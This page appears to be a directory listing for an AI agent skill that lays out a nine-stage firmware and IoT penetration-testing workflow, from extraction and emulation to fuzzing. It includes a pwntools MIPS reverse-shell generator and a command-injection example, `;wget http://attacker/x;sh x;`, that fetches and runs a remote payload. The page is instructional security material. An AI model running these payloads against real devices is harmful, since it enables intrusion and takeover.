SuperAPI AI Directory
Partner中文AI newsFavorites
Skillsfirmware-pentest

firmware-pentest

Testing & quality

View repository

Updated 10-16 08:47

About this skill

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

Firmware / IoT Penetration Chain (Firmware Pentest)

When to Use

  • Assessing device firmware within an authorized engagement.
  • Building an emulated environment for repeatable firmware analysis.

Scope

The following tasks fall under this skill:

  1. Got a firmware file(.bin / .img / .trx / .chk / OTA zip), need to go from zero to RCE
  2. Router/camera/IoT device auditing — need to batch-discover known CVEs and undisclosed vulnerabilities
  3. Encrypted/packed firmware, need to find the bootloader decryption routine or a hardware dump
  4. Need to run it without touching hardware(QEMU full-system emulation / Firmadyne / FAT)
  5. Fuzz the services that come up under emulation（AFL++ qemu mode / boofuzz）
  6. Hardware interface access（UART / JTAG / SPI flash dump）

Division of labor with other skills

Scenario What to use
From zero to obtaining firmware, run the full FSTM chain This skill
Only doing static reverse engineering of a single ELF/so reverse-engineering/、ida-reverse/、radare2/
Doing Web/RCE exploitation after emulation is up pentest-tools/、attack-chain/
Hands-on hardware interfaces (UART/JTAG/SPI) This skill's Stage 2 section + patterns-hardware.md
APK / Android firmware (including boot.img) apk-reverse/(unwrap boot.img first, then use this skill)
Cross-version firmware symbol migration binary-diff/

Core principles

固件 .bin
   │
   ├─ Stage 1-3: 信息收集 / 获取 / 静态分析（不解压也能看的部分）
   │
   ├─ Stage 4: 提取文件系统  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
   │
   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep
   │
   ├─ Stage 6: 模拟运行  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: 动态 / 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra
   │
   └─ Stage 9: 二进制利用  ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload

Key judgments:

  • Extraction failure does not mean the firmware is encrypted; first run binwalk v2, binwalk v3, unblob, jefferson, and ubi_reader all the way through
  • EMBA produces an HTML report with one command, saving 80% of the grunt work; the remaining 20% is the real vulnerability hunting
  • When emulation won't come up, first suspect missing NVRAM, network interface name mismatch,/dev/ missing node
  • ARM / MIPS payloads must distinguish endianness (mipsel vs mipseb); don't get it wrong

OWASP FSTM nine-stage workflow

Stage 1 — Information Gathering

Collect model, chip, SDK, and publicly disclosed CVEs.

# FCC ID 查询（美区设备）
curl -s "https://fccid.io/?q=$FCC_ID"

# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

Output: chip model, SDK source (the SDK determines whether binwalk can succeed in one shot).

Stage 2 — Obtaining Firmware

Four routes: official website download, OTA packet capture, dump after landing a shell via UART, physical read of SPI flash.

# OTA 抓包后批量下载
mitmdump -s save_response.py

# UART 接入（USB-TTL，常用波特率 57600 / 115200）
picocom -b 115200 /dev/ttyUSB0

# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin

Stage 3 — Analyzing Firmware

Before extracting, first look at the header, entropy, strings, and recognizable signatures.

binwalk firmware.bin              # magic 扫描
binwalk -E firmware.bin           # 熵图，高熵段=压缩/加密
strings -n 8 firmware.bin | less  # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 — Extracting Filesystem

See references/extraction-methodology.md。

binwalk -eM firmware.bin           # 递归提取
unblob -d out/ firmware.bin        # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 — Filesystem Analysis

One-click scan with EMBA, see references/emba-automated-analysis.md。

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

Manual supplements:

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — Emulating Firmware

See references/emulation-and-fuzz.md。

# 用户态：跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# 全系统：FAT（Firmadyne 封装版）
sudo fat.py firmware.bin

Stage 7 — Dynamic Analysis

Once emulation is up, attach a debugger, capture traffic, and run fuzzing.

# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"

Stage 8 — Runtime Analysis

Attach a debugger on real hardware, or do coverage-guided fuzzing in the emulated state.

# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — Binary Exploitation

Write a PoC, generate a payload, and land a root shell.

# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"

Typical scenario examples

Scenario 1: Full chain for ordinary router firmware (TP-Link / Xiaomi Router / OpenWrt derivatives)

固件: router_v1.2.3.bin（未加密 squashfs）
目标: 找 Web 管理界面未授权 RCE 并复现

Step 1 信息收集
  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash
  - 已公开 CVE：CVE-2023-xxxxx（chk 头校验缺陷）

Step 2 获取固件
  - 官网下载 .bin，sha256 与已知样本对比

Step 3 分析
  - binwalk → 检出 uImage + squashfs-xz
  - 熵图 → squashfs 段熵 ~0.95（正常压缩）

Step 4 提取
  - binwalk -eM router_v1.2.3.bin
  - 得到 squashfs-root/ 完整根文件系统

Step 5 EMBA 扫
  - 报告里高危：lighttpd 1.4.45（CVE-2018-19052）+ busybox 1.27.2 多 CVE
  - 自家二进制：/usr/sbin/cgibin 含 system() 直拼字符串

Step 6 仿真
  - sudo fat.py router_v1.2.3.bin
  - 仿真起来 IP 192.168.0.1，Web 可访问

Step 7-8 动态
  - Burp 抓 /cgi-bin/luci 系列接口
  - 发现 hostname 参数直拼 system

Step 9 利用
  - 构造 hostname=`;wget http://attacker/x;sh x;`
  - 仿真态成功反弹 shell
  - 真机复测通过 → 提报 SRC

Scenario 2: Encrypted firmware (find the bootloader decryption routine)

固件: encrypted_fw.bin（binwalk 全空白 + 熵 ~0.99）

Step 1 判断是否真加密
  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
  - 头部前 256 字节 hexdump → 看是否有 vendor header

Step 2 拿到 bootloader
  - UART 启动时按键进 U-Boot
  - md.b 0x80000000 0x1000   # 读内存
  - 或 SPI flash 物理读取整片 → 含 U-Boot 段

Step 3 逆 U-Boot 找解密例程
  - 用 reverse-engineering skill（IDA / Ghidra）
  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt
  - 通常是 AES-128-CBC，key 硬编在 .rodata

Step 4 离线解密
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 回到 Stage 4 重新走标准流程
  - binwalk decrypted.bin → 看到 squashfs
  - 后续与场景 1 相同

兜底
  - bootloader 也加密 → 找 SoC 一级 ROM 文档
  - SoC 有安全启动 → 看公开 fault injection / glitch 资料

Precautions

  • Endianness: Common MIPS router mipsel (little-endian, MT series) / mipseb (big-endian, Broadcom series), don't use the wrong qemu binary
  • NVRAM: If httpd crashes immediately after emulation starts → 90% of the time it's because nvram_get can't get a value; Firmadyne has a libnvram hook, and FAT includes it by default
  • EMBA is not a silver bullet: Don't trust all the CVEs it spits out; verify version strings and actual exploitation conditions
  • AFL++ qemu mode is slow: First recompile the target with afl-clang-lto (if source is available), 5-10x faster
  • Dump before operating on real hardware: A full flash dump is essential before bricking a physical device; use flashrom / ch341a / minipro
  • Legal boundaries: Only do this on your own devices, with SRC authorization, in CTFs, or on public targets; enterprise production devices require written authorization
  • field-journal write-back: After completing each firmware, record the chip model, SDK, whether binwalk succeeded, and whether emulation succeeded, so the same series can be reused directly next time

On-Demand Bootstrap

Tool list

Tool Purpose Auto-install
binwalk v3 Main extraction (Rust rewrite) ✓
binwalk v2 Compatible with old plugins ✓
unblob Fallback extraction ✓
jefferson JFFS2 extraction ✓
ubi_reader UBI / UBIFS extraction ✓
EMBA Automated analysis framework ✓
Firmadyne Full-system emulation ✓
FAT (Firmware Analysis Toolkit) Firmadyne wrapper ✓
qemu-user-static User-mode emulation ✓
qemu-system-* Full-system emulation ✓
AFL++ Fuzzing ✓
pwntools Exploit scripts ✓
flashrom SPI flash read/write ✓
picocom UART serial ✓

Install command

# Debian / Ubuntu 一把梭
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3（Rust 版）
cargo install binwalk

# Python 系列工具
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install

Windows users

The firmware penetration chain heavily depends on Linux tools; recommended:

  • WSL2 Ubuntu 22.04 (sufficient for most scenarios)
  • Or a standalone Kali / Ubuntu virtual machine
  • EMBA requires Linux, Firmadyne / FAT require Linux

Routing context

Upstream entry: skills/SKILL.md(master control),routing.md Trigger conditions: The task involves firmware files, IoT devices, embedded vulnerability discovery, router auditing Downstream exit:

  • Deep static analysis of a single binary → reverse-engineering/、ida-reverse/、radare2/
  • Web RCE / post-exploitation after emulation starts → pentest-tools/、attack-chain/
  • Cross-version firmware symbol migration → binary-diff/
  • Hardware interface hands-on reference → patterns-hardware.md
  • APK / boot.img handling → apk-reverse/

Peer associations: pentest-tools/(coordinated during the Web exploitation phase),attack-chain/(cross-stage attack chain planning)

Reference documents:

  • references/extraction-methodology.md — Extraction details and failure fallbacks
  • references/emba-automated-analysis.md — EMBA full workflow
  • references/emulation-and-fuzz.md — Emulation + fuzz in practice

Task completion self-check (MUST pass before claiming completion)

  • Did I execute every step in the workflow (rather than just reading it)?
  • Did I base this on tool-index and use real tool paths?
  • Did I produce reproducible evidence (commands/scripts/screenshots/reports)?
  • Did I complete and write back the Checklist items required by RULES?

Limitations

  • Emulation of proprietary kernels often fails; hardware debugging may be required.
  • Some extraction paths need physical access (UART/JTAG/SPI).

Adapted from zhaoxuya520/reverse-skill (MIT).